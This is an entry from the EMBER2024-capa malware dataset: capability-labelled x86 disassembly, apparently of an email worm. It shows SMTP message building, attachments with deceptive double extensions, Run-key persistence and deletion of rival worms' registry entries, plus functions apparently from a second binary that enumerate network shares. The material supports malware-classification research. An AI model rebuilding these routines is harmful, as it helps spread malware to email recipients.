joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401c30
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push ebx
push esi
xor esi, esi
push edi
push esi
push esi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov edi, dword [sym.imp.KERNEL32.DLL_ReadFile]
lea eax, [ebp - 4]
push esi
push eax
mov ebx, 0x400
lea eax, [ebp - 0x408]
push ebx
push eax
push dword [ebp + 8]
mov dword [ebp - 8], esi
mov dword [ebp - 4], esi
call edi
test eax, eax
je 0x401ca3
cmp dword [ebp - 4], esi
je 0x401ca3
push dword [ebp - 4]
lea eax, [ebp - 0x408]
push eax
push dword [ebp - 8]
call fcn.00401854
add esp, 0xc
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
mov dword [ebp - 4], esi
push esi
push eax
lea eax, [ebp - 0x408]
push ebx
push eax
push dword [ebp + 8]
jmp 0x401c6b
push esi
push esi
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401e33
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
add esp, 0x190
ret

Function at 0x402314
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x540
push esi
lea eax, [ebp - 0x540]
push dword [ebp + 8]
push eax
call fcn.004039b0
lea eax, [ebp - 0x540]
push str..
push eax
call fcn.004039c0
add esp, 0x10
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x540]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40242f
test esi, esi
je 0x40242f
cmp byte [ebp - 0x113], 0
jne 0x40237e
cmp byte [ebp - 0x114], 0x2e
je 0x402412
cmp byte [ebp - 0x112], 0
jne 0x402399
cmp byte [ebp - 0x114], 0x2e
jne 0x402399
cmp byte [ebp - 0x113], 0x2e
je 0x402412
push dword [ebp + 8]
lea eax, [ebp - 0x540]
push eax
call fcn.004039b0
lea eax, [ebp - 0x540]
push 0x409d94
push eax
call fcn.004039c0
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x540]
push eax
call fcn.004039c0
lea eax, [ebp - 0x540]
push eax
call fcn.00403ae0
add esp, 0x1c
push eax
lea eax, [ebp - 0x540]
push eax
call dword [sym.imp.USER32.dll_CharLowerBuffA]
test byte [ebp - 0x140], 0x10
lea eax, [ebp - 0x540]
push eax
je 0x402400
call fcn.00402314
jmp 0x402405
call fcn.00402103
cmp dword [0x4206f8], 0x402f
pop ecx
jg 0x402428
lea eax, [ebp - 0x140]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x402368
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
pop esi
leave
ret
Function at 0x40247c
Capabilities:
Check internet connectivity via wininet

Disassembly:
sub esp, 0x18
push ebx
mov ebx, dword [sym.imp.WININET.dll_InternetGetConnectedState]
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_Sleep]
push esi
push edi
push 0x32
call ebp
and dword [esp + 0x14], 0
lea eax, [esp + 0x14]
push 0
push eax
call ebx
mov edi, eax
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.DLL_GetLocalTime]
test edi, edi
je 0x40248f
xor esi, esi
cmp dword [0x4206f8], esi
jle 0x40248f
mov dword [esp + 0x10], 0x40ae00
cmp edi, 1
jne 0x40248f
cmp byte [esi + 0x41aec0], 0
jne 0x402511
cmp word [esp + 0x1e], 0x11
jne 0x4024f4
cmp word [esp + 0x1a], 3
jne 0x4024f4
cmp word [esp + 0x18], 0x7d4
jne 0x4024f4
and byte [esi + 0x41aec0], 0
jmp 0x4024fb
mov byte [esi + 0x41aec0], 1
mov eax, dword [esp + 0x10]
push dword [eax]
call fcn.00402533
test eax, eax
pop ecx
jne 0x402511
and byte [esi + 0x41aec0], al
lea eax, [esp + 0x14]
push 0
push eax
call ebx
push 0x32
mov edi, eax
call ebp
inc esi
add dword [esp + 0x10], 4
cmp esi, dword [0x4206f8]
jl 0x4024c4
jmp 0x40248f
Function at 0x4027f2
Capabilities:
Resolve dns

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
mov esi, eax
cmp esi, 0xffffffff
je 0x40280f
test esi, esi
jne 0x402821
cmp byte [edi], 0x30
je 0x402828
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x402821
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov esi, dword [eax]
cmp esi, 0xffffffff
jne 0x402828
xor esi, esi
mov eax, esi
pop edi
pop esi
ret
Function at 0x40282d
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x200
push ebx
push esi
lea eax, [ebp - 0x200]
push edi
push eax
call fcn.00402a37
push dword [ebp + 0xc]
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x100]
push str.From:__s
push eax
call ebx
add esp, 0x10
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.00403ae0
mov edi, dword [ebp + 8]
pop ecx
mov esi, dword [sym.imp.WS2_32.dll_send]
push eax
lea eax, [ebp - 0x100]
push eax
push dword [edi]
call esi
push dword [ebp + 0x10]
lea eax, [ebp - 0x100]
push str._r_nTo:__s
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x100]
push eax
push dword [edi]
call esi
push dword [ebp + 0x14]
lea eax, [ebp - 0x100]
push str._r_nSubject:__s
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x100]
push eax
push dword [edi]
call esi
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x100]
push str._r_nDate:__s
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x100]
push eax
push dword [edi]
call esi
lea eax, [ebp - 0x100]
push str._r_nMIME_Version:_1.0
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x100]
push eax
push dword [edi]
call esi
lea eax, [ebp - 0x100]
push str._r_nContent_Type:_multipart_mixed__r_n
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x100]
push eax
push dword [edi]
call esi
push dword [ebp + 0x1c]
push 0x10
push 0
push str._____NextPart__.3u__.4u_s
push dword [ebp + 0x18]
call ebx
push dword [ebp + 0x18]
lea eax, [ebp - 0x100]
push str._tboundary__s_
push eax
call ebx
add esp, 0x20
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x100]
push eax
push dword [edi]
call esi
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea eax, [ebp - 0x100]
push str._r_nX_Priority:_3
push eax
call ebx
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x100]
push eax
push dword [edi]
call esi
lea eax, [ebp - 0x100]
push str._r_nX_MSMail_Priority:_Normal
push eax
call ebx
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x100]
push eax
push dword [edi]
call esi
lea eax, [ebp - 0x100]
push str._r_n_r_n
push eax
call ebx
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x100]
push eax
push dword [edi]
call esi
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403124
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
cmp dword [ebp + 8], 0
push ebx
push esi
push edi
je 0x403161
push 0
push dword [ebp + 8]
call fcn.00403ae0
pop ecx
push eax
mov eax, dword [ebp + 0xc]
push dword [ebp + 8]
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
je 0x4031e4
cmp eax, 0xffffffff
je 0x4031e4
push 1
lea eax, [ebp - 0x400]
pop edi
xor ebx, ebx
lea esi, [ebp - 0x400]
sub edi, eax
mov eax, dword [ebp + 0xc]
push 0
push 1
push esi
push dword [eax]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jl 0x4031df
je 0x40319c
mov al, byte [esi]
inc ebx
inc esi
cmp al, 0xa
je 0x40319c
lea eax, [edi + esi]
cmp eax, 0x400
jb 0x403174
and byte [ebp + ebx - 0x400], 0
test ebx, ebx
jle 0x4031e4
lea ecx, [ebp - 0x400]
xor eax, eax
mov dl, byte [ecx]
cmp dl, 0x20
je 0x4031bc
cmp dl, 9
jne 0x4031bf
inc ecx
jmp 0x4031b0
mov dl, byte [ecx]
cmp dl, 0x30
jl 0x4031d8
cmp dl, 0x39
jg 0x4031d8
movsx edx, dl
lea eax, [eax + eax*4]
inc ecx
lea eax, [edx + eax*2 - 0x30]
jmp 0x4031bf
cmp byte [ecx], 0x2d
jne 0x4031e6
jmp 0x403161
or eax, 0xffffffff
jmp 0x4031e6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4031eb
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
lea eax, [ebp - 0x100]
push str._r_n._r_n
push eax
call fcn.004039b0
lea eax, [ebp - 0x100]
push str.QUIT_r_n
push eax
call fcn.004039c0
add esp, 0x10
lea eax, [ebp - 0x100]
push 0
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x100]
push eax
mov eax, dword [ebp + 8]
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
push 1
pop eax
leave
ret
Function at 0x403240
Capabilities:
Check mutex on windows
Create thread

Disassembly:
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
call fcn.00401cd5
call fcn.004036a5
call fcn.00401e33
mov ecx, 0x100c
xor eax, eax
mov edi, 0x41aec0
xor esi, esi
rep stosd dword es:[edi], eax
mov edi, str.chris_sexana_aol.com
mov dword [0x4206f8], esi
push edi
call fcn.00403ae0
push eax
call fcn.00403acf
mov ecx, dword [0x4206f8]
push edi
push eax
mov dword [ecx*4 + 0x40ae00], eax
call fcn.004039b0
add esp, 0x14
inc dword [0x4206f8]
push dword [0x4080c8]
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov dword [0x4206f4], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
je 0x403354
call fcn.004033d4
test eax, eax
je 0x403354
push str.document.exe
push 0x41eef0
push str.zip1.tmp
call fcn.004035a4
add esp, 0xc
test eax, eax
je 0x403354
push str.your_details.scr
push 0x41f2f0
push str.zip2.tmp
call fcn.004035a4
add esp, 0xc
test eax, eax
je 0x403354
push str.doc.pif
push 0x41f6f0
push str.zip3.tmp
call fcn.004035a4
add esp, 0xc
test eax, eax
je 0x403354
push str.doc.txt______________________________________________________________.exe
push 0x41faf0
push str.zip4.tmp
call fcn.004035a4
add esp, 0xc
test eax, eax
je 0x403354
push str.document.htm______________________________________________________________.scr
push 0x41fef0
push str.zip5.tmp
call fcn.004035a4
add esp, 0xc
test eax, eax
jne 0x40335b
xor eax, eax
pop edi
pop esi
ret 0x10
push ebp
push str.your_details.doc______________________________________________________________.exe
push 0x4202f0
push str.zip6.tmp
call fcn.004035a4
add esp, 0xc
test eax, eax
jne 0x40337a
pop ebp
jmp 0x403356
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_CreateThread]
push 0x4206fc
push esi
push esi
push 0x402432
push esi
push esi
call ebx
mov ebp, dword [sym.imp.KERNEL32.DLL_Sleep]
mov edi, 0x420700
push edi
push esi
push esi
push fcn.0040247c
push esi
push esi
call ebx
call fcn.00401cb7
push 0x32
cdq
pop ecx
idiv ecx
add edx, 0x19
push edx
call ebp
add edi, 4
cmp edi, 0x42071c
jl 0x40339c
pop ebx
push esi
call fcn.0040247c
push 0x7f8
call ebp
jmp 0x4033c5
Function at 0x4033d4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x400
push ebx
push esi
mov esi, 0x400
push edi
lea eax, [ebp - 0x400]
push esi
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
push esi
mov esi, 0x40aa00
push esi
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push esi
call fcn.00403ae0
cmp byte [eax + 0x40a9ff], 0x5c
pop ecx
je 0x403420
push 0x409d94
push esi
call fcn.004039c0
pop ecx
pop ecx
push str.base64.tmp
push esi
call fcn.004039c0
pop ecx
lea eax, [ebp - 0x400]
pop ecx
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL__lopen]
push ebx
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.DLL__lcreat]
cmp edi, 0xffffffff
mov ebx, eax
je 0x403473
cmp ebx, 0xffffffff
je 0x403473
push 0x48
push ebx
push edi
call fcn.0040347a
add esp, 0xc
cmp eax, 0xffffffff
je 0x403473
mov esi, dword [sym.imp.KERNEL32.DLL__lclose]
push edi
call esi
push ebx
call esi
push 1
pop eax
jmp 0x403475
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4035a4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
push ebx
push esi
mov esi, 0x400
push edi
lea eax, [ebp - 0x800]
push esi
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov edi, dword [ebp + 0xc]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
push esi
push edi
call ebx
push edi
call fcn.00403ae0
cmp byte [eax + edi - 1], 0x5c
pop ecx
je 0x4035ed
push 0x409d94
push edi
call fcn.004039c0
pop ecx
pop ecx
push dword [ebp + 8]
push edi
call fcn.004039c0
pop ecx
lea eax, [ebp - 0x400]
pop ecx
push esi
push eax
call ebx
lea eax, [ebp - 0x400]
push eax
call fcn.00403ae0
cmp byte [ebp + eax - 0x401], 0x5c
pop ecx
je 0x40362c
lea eax, [ebp - 0x400]
push 0x409d94
push eax
call fcn.004039c0
pop ecx
pop ecx
lea eax, [ebp - 0x400]
push str.zipped.tmp
push eax
call fcn.004039c0
push dword [ebp + 0x10]
lea eax, [ebp - 0x400]
push eax
lea eax, [ebp - 0x800]
push eax
call fcn.00401970
add esp, 0x14
lea eax, [ebp - 0x400]
push 0
push eax
call dword [sym.imp.KERNEL32.DLL__lopen]
push 0
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.DLL__lcreat]
cmp esi, 0xffffffff
mov edi, eax
je 0x40369e
cmp edi, 0xffffffff
je 0x40369e
push 0x48
push edi
push esi
call fcn.0040347a
add esp, 0xc
cmp eax, 0xffffffff
je 0x40369e
push esi
mov esi, dword [sym.imp.KERNEL32.DLL__lclose]
call esi
push edi
call esi
push 1
pop eax
jmp 0x4036a0
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4036a5
Capabilities:
Copy file
Delete registry key
Get common file path
Persist via run registry key
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
push ebx
push esi
mov esi, 0x400
push edi
lea eax, [ebp - 0x824]
push esi
xor edi, edi
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x424]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea eax, [ebp - 0x424]
push eax
call fcn.00403ae0
cmp byte [ebp + eax - 0x425], 0x5c
pop ecx
je 0x4036ff
lea eax, [ebp - 0x424]
push 0x409d94
push eax
call fcn.004039c0
pop ecx
pop ecx
push dword [0x4080c0]
lea eax, [ebp - 0x424]
push eax
call fcn.004039c0
pop ecx
lea eax, [ebp - 0x424]
pop ecx
push edi
push eax
lea eax, [ebp - 0x824]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
lea eax, [ebp - 4]
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push eax
mov ebx, connect
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [ebp - 0x424]
push eax
call fcn.00403ae0
pop ecx
push eax
lea eax, [ebp - 0x424]
push eax
push 1
push edi
push dword [0x4080c4]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, str.Explorer
push edi
push esi
push ebx
call fcn.004038a0
push edi
mov edi, connect
push esi
push edi
call fcn.004038a0
add esp, 0x18
push str.CLSIDE6FB5E20_DE35_11CF_9C87_00AA005127EDInProcServer32
push connect
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push str.system.
push esi
push ebx
call fcn.004038a0
push str.system.
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
push ebx
call fcn.004038a0
push str.msgsvr32
push esi
push ebx
call fcn.004038a0
push str.au.exe
push esi
push edi
call fcn.004038a0
push str.service
push esi
push ebx
call fcn.004038a0
push str.DELETE_ME
push esi
push ebx
call fcn.004038a0
add esp, 0x48
push str.d3dupdate.exe
push esi
push edi
call fcn.004038a0
push 0x40a4a8
push esi
push edi
call fcn.004038a0
push str.Sentry
push esi
push ebx
call fcn.004038a0
push str.gouday.exe
push esi
push edi
call fcn.004038a0
push str.rate.exe
push esi
push edi
call fcn.004038a0
add esp, 0x3c
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerPINF
push edi
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push str.Taskmon
push esi
push ebx
call fcn.004038a0
push str.Taskmon
push esi
push edi
call fcn.004038a0
add esp, 0x18
push str.SystemCurrentControlSetServicesWksPatch
push ebx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
push str.Windows_Services_Host
push esi
push edi
call fcn.004038a0
push str.Windows_Services_Host
push esi
push ebx
call fcn.004038a0
push str.sysmon.exe
push esi
push edi
call fcn.004038a0
push str.srate.exe
push esi
push edi
call fcn.004038a0
push str.ssate.exe
push esi
push edi
call fcn.004038a0
add esp, 0x3c
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4038a0
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0xc]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x4038cc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push dword [ebp + 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebp
ret

Function at 0x404b15
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40a868
cmp edx, dword [eax]
je 0x404b37
add eax, 8
inc ecx
cmp eax, 0x40a8f8
jl 0x404b28
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40a868]
jne 0x404c65
mov eax, dword [0x42072c]
cmp eax, 1
je 0x404c3f
test eax, eax
jne 0x404b68
cmp dword [0x40a5a4], 1
je 0x404c3f
cmp edx, 0xfc
je 0x404c65
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x404b9f
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.004039b0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00403ae0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x404be2
lea eax, [ebp - 0x1a4]
push eax
call fcn.00403ae0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40788c
push edi
call fcn.00403b90
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.004039b0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004039c0
lea eax, [ebp - 0xa0]
push 0x40786c
push eax
call fcn.004039c0
push dword [esi + 0x40a86c]
lea eax, [ebp - 0xa0]
push eax
call fcn.004039c0
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00405da5
add esp, 0x2c
pop edi
jmp 0x404c65
lea eax, [ebp + 8]
lea esi, [esi + 0x40a86c]
push 0
push eax
push dword [esi]
call fcn.00403ae0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
pop esi
leave
ret
Function at 0x10019ac
Capabilities:
Accept command line arguments

Disassembly:
mov edi, edi
push esi
mov esi, dword [0x100ba14]
test esi, esi
je 0x10019ec
push edi
mov ecx, dword [esi + 8]
mov edi, dword [esi]
mov edx, ecx
shr ecx, 2
xor eax, eax
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
cmp dword [esi + 0xc], 0
mov edi, dword [esi + 4]
je 0x10019df
push dword [esi]
call fcn.0100547d
push esi
call fcn.0100547d
test edi, edi
mov esi, edi
jne 0x10019ba
pop edi
mov eax, dword [0x100ade0]
and dword [0x100ba14], 0
test eax, eax
je 0x1001a10
mov esi, 0x100ade0
push eax
call fcn.010054c6
add esi, 4
mov eax, dword [esi]
test eax, eax
jne 0x1001a01
xor esi, esi
inc esi
cmp dword [0x100ba0c], esi
jbe 0x1001a31
mov eax, dword [0x100ba10]
push dword [eax + esi*4]
call fcn.0100548d
inc esi
cmp esi, dword [0x100ba0c]
jb 0x1001a1b
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call fcn.010054c6
pop esi
ret
Function at 0x1001ce1
Capabilities:
Accept command line arguments
Create process on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x5c
push ebx
push esi
push edi
push 0x11
pop ecx
xor eax, eax
lea edi, [ebp - 0x5c]
xor ebx, ebx
rep stosd dword es:[edi], eax
mov dword [ebp - 8], ebx
mov dword [ebp - 0x5c], 0x44
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov esi, eax
push 0x20
push esi
call dword [sym.imp.msvcrt.dll_wcschr]
pop ecx
pop ecx
mov edi, eax
lea eax, [ebp - 4]
push eax
push esi
call dword [sym.imp.msvcrt.dll_wcslen]
pop ecx
lea eax, [eax + eax + 0xc]
push eax
call fcn.01005451
cmp eax, ebx
je 0x1001d37
push eax
call fcn.0100524c
push 0x1001240
push dword [ebp - 4]
call dword [sym.imp.msvcrt.dll_wcscpy]
cmp edi, ebx
pop ecx
pop ecx
je 0x1001d57
push edi
push dword [ebp - 4]
call dword [sym.imp.msvcrt.dll_wcscat]
pop ecx
pop ecx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push ebx
push ebx
push 0x20
push 1
push ebx
push ebx
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1001d81
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0100524c
push dword [ebp - 0x14]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push 0xffffffffffffffff
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
push dword [ebp - 0x18]
call esi
push dword [ebp - 8]
call fcn.01001cc8
int3
Function at 0x10020b4
Capabilities:
Enumerate network shares

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push edi
push dword [ebp + 0xc]
mov edi, dword [ebp + 0x10]
xor ebx, ebx
mov dword [eax], ebx
push 0x800
mov dword [ebp - 8], ebx
mov dword [edi], 0x40
call fcn.01005451
cmp eax, ebx
je 0x10020e8
push eax
call fcn.0100524c
lea ecx, [ebp - 0xc]
mov eax, 0x1000
push ecx
push eax
mov dword [ebp - 0x10], eax
call fcn.01005451
cmp eax, ebx
je 0x1002104
push eax
call fcn.0100524c
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
push 1
call sub.MPR.dll_WNetOpenEnumW
cmp eax, ebx
jne 0x1002220
push esi
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0xc]
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x14]
call sub.MPR.dll_WNetEnumResourceW
cmp eax, ebx
mov dword [ebp - 0x18], eax
je 0x1002144
cmp eax, 0x103
jne 0x100221f
mov esi, dword [ebp - 8]
mov eax, dword [ebp - 4]
add eax, esi
cmp eax, dword [edi]
jb 0x1002169
push dword [ebp + 0xc]
add eax, 0x40
mov dword [edi], eax
shl eax, 5
push eax
call fcn.01005461
cmp eax, ebx
jne 0x100221f
mov eax, dword [ebp + 0xc]
shl esi, 5
add esi, dword [eax]
cmp dword [ebp - 4], ebx
jbe 0x10021e3
mov edi, dword [ebp - 0xc]
add edi, 0x14
mov eax, dword [edi - 4]
test eax, eax
mov ecx, dword [0x10092d8]
jne 0x100218b
mov eax, ecx
mov dword [esi], eax
mov eax, dword [edi]
test eax, eax
jne 0x1002195
mov eax, ecx
mov dword [esi + 4], eax
mov eax, dword [edi + 8]
test eax, eax
jne 0x10021a1
mov eax, ecx
mov dword [esi + 8], eax
mov eax, dword [edi - 0x10]
mov dword [esi + 0xc], eax
push dword [0x100c2e4]
push dword [edi + 8]
call dword [sym.imp.msvcrt.dll_wcscmp]
neg eax
sbb eax, eax
or dword [esi + 0x10], 0xffffffff
and dword [esi + 0x18], 0
and dword [esi + 0x14], 0
inc eax
mov dword [esi + 0x1c], eax
inc ebx
inc dword [ebp - 8]
pop ecx
add esi, 0x20
add edi, 0x20
cmp ebx, dword [ebp - 4]
pop ecx
jb 0x100217c
mov edi, dword [ebp + 0x10]
xor ebx, ebx
cmp dword [ebp - 0x18], ebx
jne 0x100220d
lea ecx, [ebp - 0xc]
mov eax, 0x1000
push ecx
push eax
mov dword [ebp - 0x10], eax
call fcn.01005451
cmp eax, ebx
je 0x100211b
push eax
call fcn.0100524c
jmp 0x100211b
push dword [ebp - 0x14]
call sub.MPR.dll_WNetCloseEnum
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
xor eax, eax
pop esi
pop edi
pop ebx
leave
ret 0xc